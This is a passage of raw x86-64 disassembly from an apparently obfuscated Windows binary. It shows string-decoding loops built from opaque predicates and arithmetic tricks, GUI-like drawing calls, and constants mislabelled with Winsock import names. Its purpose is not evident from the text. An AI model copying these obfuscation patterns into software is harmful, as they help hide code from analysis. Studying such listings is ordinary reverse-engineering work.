ja 0x140075557
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140075537
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007551a
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400754fb
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400754d8
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400754af
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140075494
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140075280
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x1000]
jmp 0x140075280
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140075270
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
jmp 0x140075200
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400751a0
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140075b6c
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140075183
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
dec r11
inc r11
jmp 0x140075183
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140075bdb
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x140075bfd
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075c00
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140075c35
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075c63
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x510], dil
inc r11
jmp 0x140075183
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
cmp r8, 0x400
jb 0x1400755dc
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
mov edx, 0x1a
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140075b6c
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x400
jae 0x140075a8e
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400759b5
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140075602
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
lea rax, [r8 + rbx]
cmp rax, 3
je 0x140075aac
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400758dc
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
jmp 0x14007563a
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075c63
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140075c35
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075c00
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x140075bfd
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140075bdb
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
dec r11
inc r11
jmp 0x140075183
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140075183
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140075b6c
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14007580a
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14007568d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140075845
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007586e
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075bfd
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140075892
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140075bdb
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400758c1
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140075183
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007568d
lea edx, [r9 + 0x6c]
mov ecx, 6
jmp 0x140075b5b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140075900
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140075b6c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007592c
add r9b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
dec r11
inc r11
jmp 0x140075183
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140075955
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075c00
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140075979
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140075c35
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140075645
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400759f0
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140075a15
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140075c32
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140075a44
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140075183
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140075a73
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
inc r8
dec r11
inc r11
jmp 0x140075183
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140075602
lea edx, [r9 - 8]
mov ecx, 0x1c
jmp 0x140075b5b
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140075bdb
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x54]
jmp 0x140075c35
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075c63
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x140075c35
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140075183
lea edx, [r9 + 0x22]
mov ecx, 9
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x510], cl
inc r8
dec r11
inc r11
jmp 0x140075183
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140075183
movzx r9d, r11b
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x12
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x510], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140075183
lea rax, [r11 + r13]
and sil, al
mov ecx, 0x19
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x510], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x510], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
lea rcx, [r11 + r12]
and sil, cl
mov eax, 0x1d
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x140075183
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
jmp 0x140075180
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140075170
lea rdi, [rbp + 0x15133f8]
jmp 0x140075d2f
lea rdi, [rbp + 0x580026]
jmp 0x140075d2f
lea rdi, [rbp + 0x510]
movdqa xmm0, xmmword [0x14014a450]
movups xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.14000bfc0
mov ebx, eax
mov dword [rsp + 0x64], 0x41200000
movss xmm11, dword [0x14014a57c]
mov dword [rsp + 0x68], 0x41c80000
call fcn.14000e9e0
mov qword [rsp + 0x40], 0
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x64]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, r14
call fcn.140022580
mov ecx, 0x2d
call fcn.14004cb20
test al, 1
je 0x140075dbf
cmp byte [reloc.WS2_32.dll_accept], 0
sete al
mov byte [reloc.WS2_32.dll_accept], al
jmp 0x140075dc6
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x14009393b
mov dword [rsp + 0x6c], 0x42c80000
mov dword [rsp + 0x70], 0x42c80000
xor edx, edx
lea rcx, [rsp + 0x6c]
call fcn.14001ab20
mov dword [rsp + 0x74], 0x442a0000
movss xmm6, dword [0x14014f08c]
mov dword [rsp + 0x78], 0x43eb0000
xor edx, edx
lea rcx, [rsp + 0x74]
call fcn.14001ab20
xor edx, edx
mov r8d, 0x9b
lea rcx, [0x14014ef50]
call fcn.1400077a0
lea rcx, [rbp + 0x798]
call fcn.14000f5a0
call fcn.14000f570
mov rbx, rax
movdqa xmm0, xmmword [0x14014eb00]
movups xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call fcn.14000bfc0
movss xmm3, dword [rbp + 0x79c]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x798]
movaps xmm0, xmm2
addss xmm0, dword [0x14014f094]
movss dword [rbp - 0x7c], xmm0
movss dword [rbp - 0x78], xmm1
addss xmm3, dword [0x14014f084]
movss xmm8, dword [0x14014f088]
addss xmm2, xmm8
movss dword [rbp - 0x74], xmm2
movss dword [rbp - 0x70], xmm3
mov dword [rsp + 0x28], 0x80
movss xmm7, dword [0x14014a39c]
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x74]
mov rcx, rbx
call fcn.140022160
movdqa xmm0, xmmword [0x14014a430]
movups xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call fcn.14000bfc0
movss xmm1, dword [rbp + 0x79c]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0x798]
addss xmm0, xmm8
movss dword [rbp - 0x6c], xmm0
movss dword [rbp - 0x68], xmm1
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x6c]
lea rdx, [rbp + 0x798]
mov rcx, rbx
call fcn.140022160
movdqa xmm0, xmmword [0x14014a440]
movups xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
call fcn.14000bfc0
movss xmm3, dword [rbp + 0x79c]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x798]
movaps xmm0, xmm2
addss xmm0, dword [0x14014a584]
movss dword [rbp - 0x64], xmm0
movss dword [rbp - 0x60], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x5c], xmm2
movss dword [rbp - 0x58], xmm3
movss xmm12, dword [0x14014a38c]
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x64]
lea rdx, [rbp - 0x5c]
mov rcx, rbx
call fcn.140021050
movdqa xmm0, xmmword [0x14014a430]
movups xmmword [rbp + 0x120], xmm0
lea rcx, [rbp + 0x120]
call fcn.14000bfc0
movss xmm3, dword [rbp + 0x79c]
movaps xmm1, xmm3
addss xmm1, dword [0x14014f080]
movss xmm2, dword [rbp + 0x798]
movaps xmm0, xmm2
addss xmm0, dword [0x14014f094]
movss dword [rbp - 0x54], xmm0
movss dword [rbp - 0x50], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x4c], xmm2
movss dword [rbp - 0x48], xmm3
mov dword [rsp + 0x28], 0x20
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x54]
lea rdx, [rbp - 0x4c]
mov rcx, rbx
call fcn.140022160
movdqa xmm0, xmmword [0x14014a440]
movups xmmword [rbp + 0x130], xmm0
lea rcx, [rbp + 0x130]
call fcn.14000bfc0
movss xmm2, dword [rbp + 0x79c]
addss xmm2, dword [0x14014f080]
movss xmm1, dword [rbp + 0x798]
movaps xmm0, xmm1
addss xmm0, dword [0x14014f094]
movss dword [rbp - 0x44], xmm0
movss dword [rbp - 0x40], xmm2
addss xmm1, xmm8
movss dword [rbp - 0x3c], xmm1
movss dword [rbp - 0x38], xmm2
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x44]
lea rdx, [rbp - 0x3c]
mov rcx, rbx
call fcn.140021050
mov dword [rbp + 0x780], 0x42480000
mov dword [rbp + 0x784], 0x42480000
mov dword [rbp - 0x2c], 0x41700000
mov dword [rbp - 0x28], 0x41c00000
lea rcx, [rbp - 0x2c]
call fcn.14001a7c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c], xmm0
movdqa xmm1, xmmword [0x14014a450]
movups xmmword [rbp + 0x9c], xmm1
mov dword [rbp - 0x24], 0x3f800000
mov dword [rbp - 0x20], 0x3f800000
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x18], 0
lea rax, [rbp + 0x8c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9c]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x24]
lea r8, [rbp - 0x1c]
lea rdx, [rbp + 0x780]
mov rcx, qword [0x1401fe7e8]
call fcn.14003d400
mov dword [rbp - 0x14], 0x41200000
mov dword [rbp - 0x10], 0x43110000
lea rcx, [rbp - 0x14]
call fcn.14001a7c0
call fcn.14000a5d0
cmp dword [0x1401fe800], 0
sete r8b
mov rdx, qword [0x1401fe7e0]
lea rcx, [0x14014ef54]
call fcn.140040420
test al, al
je 0x140076172
xor eax, eax
mov dword [0x1401fe800], eax
jmp 0x140076178
mov eax, dword [0x1401fe800]
cmp eax, 1
sete r8b
mov rdx, qword [0x1401fe7d8]
lea rcx, [0x14014ef58]
call fcn.140040420
test al, al
je 0x1400761a3
mov eax, 1
mov dword [0x1401fe800], eax
jmp 0x1400761a9
mov eax, dword [0x1401fe800]
cmp eax, 2
sete r8b
mov rdx, qword [0x1401fe7f0]
lea rcx, [0x14014ef5c]
call fcn.140040420
test al, al
je 0x1400761d4
mov eax, 2
mov dword [0x1401fe800], eax
jmp 0x1400761da
mov eax, dword [0x1401fe800]
cmp eax, 3
sete r8b
mov rdx, qword [0x1401fe7f8]
lea rcx, [0x14014ef60]
call fcn.140040420
test al, al
je 0x140076202
mov dword [0x1401fe800], 3
call fcn.14000d550
lea rcx, [rbp - 0xc]
call fcn.14000e930
movss xmm0, dword [rax]
movss xmm6, dword [0x14014a364]
mulss xmm0, xmm6
subss xmm0, dword [0x14014a588]
movss dword [rbp - 4], xmm0
mov dword [rbp], 0x41700000
lea rcx, [rbp - 4]
call fcn.14001a7c0
mov rcx, qword [0x1401fe7b8]
call fcn.140016a10
mov byte [rbp + 0x540], reloc.WS2_32.dll_send
mov byte [rbp + 0x541], 0x23
mov byte [rbp + 0x542], 0x2f
mov byte [rbp + 0x543], reloc.WS2_32.dll_recv
mov byte [rbp + 0x544], recvfrom
mov byte [rbp + 0x545], 0xc9
mov byte [rbp + 0x546], gethostname
mov byte [rbp + 0x547], 0x19
mov byte [rbp + 0x548], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x549], 0x67
mov byte [rbp + 0x54a], recvfrom
mov byte [rbp + 0x54b], reloc.WS2_32.dll_socket
mov byte [rbp + 0x54c], 0x19
mov byte [rbp + 0x54d], 0xc1
mov byte [rbp + 0x54e], WSASetLastError
mov byte [rbp + 0x54f], 0xc7
mov byte [rbp + 0x550], 0x20
mov byte [rbp + 0x551], WSACleanup
mov byte [rbp + 0x552], 0x1b
mov byte [rbp + 0x553], 7
mov byte [rbp + 0x554], 0x1e
mov byte [rbp + 0x555], gethostname
mov byte [rbp + 0x556], 0xd8
mov byte [rbp + 0x557], 0xff
xor eax, eax
mov qword [rbp + 0x558], rax
mov dword [rbp + 0x560], eax
movabs rsi, 0x77b6a73c5d30a09d
movabs r15, 0x45fe92a68c54644b
movabs r14, 0x6723f5b51791e1d7
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x24
jae 0x140076f00
movzx r9d, byte [rbp + r11 + 0x540]
mov edx, r9d
nop dword [rax]
cmp rbx, r11
ja 0x140076ef7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007637c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x4b
jmp 0x1400763c3
je 0x140076e88
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140076dfa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140076dc7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140076d85
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140076d60
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140076d15
movzx r10d, r11b
cmp r8, r11
ja 0x140076eee
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x1400763f1
lea ecx, [r10 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
jmp 0x140076440
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140076cfc
cmp rbx, rcx
je 0x140076cd9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140076cbc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140076c9f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140076c80
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140076c51
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400769b2
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140076996
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007696d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007694a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007692e
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007690e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400768f1
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400768d2
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400768b5
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140076883
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140076450
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140076ed1
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140076eb4
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007663a
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007661f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140076604
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140076831
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400767e8
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400767ac
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140076784
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140076450
lea rbx, [r8 + 0x20]
lea r8, [rbx + 6]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140076752
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140076735
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140076716
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400766f9
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400766d9
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400766be
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007669b
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140076672
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140076657
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140076450
lea rbx, [r8 + 8]
lea r8, [rbx + 0x3e8]
jmp 0x140076450
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x140076440
lea ecx, [r10 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
jmp 0x1400763c7
sub r10b, 0x35
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x73
jmp 0x140076350
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140076d33
sub r10b, 0x32
movzx eax, r10b
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140076336
sub r10b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
dec r11
inc r11
jmp 0x140076336
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x140076da3
add r10b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140076dde
sub r10b, 0x1a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4a
jmp 0x140076de1
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140076e14
add r10b, 0x72
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1e
jmp 0x140076e41
add r10b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x140076336
add r10b, 0x27
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x11
mov byte [rbp + r11 + 0x540], dil
inc r11
jmp 0x140076336
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
cmp r8, 0x10
jb 0x14007679c
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140076d33
lea ecx, [r10 - 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1b
cmp rbx, 0x42
jae 0x140076c10
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140076b5e
lea edx, [r10 + 0x4a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 6
add dil, dl
jmp 0x1400767c2
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4f
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140076c2f
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140076a96
lea edx, [r10 + 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x21
add dil, dl
jmp 0x1400767fe
add r10b, 0x46
movzx eax, r10b
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
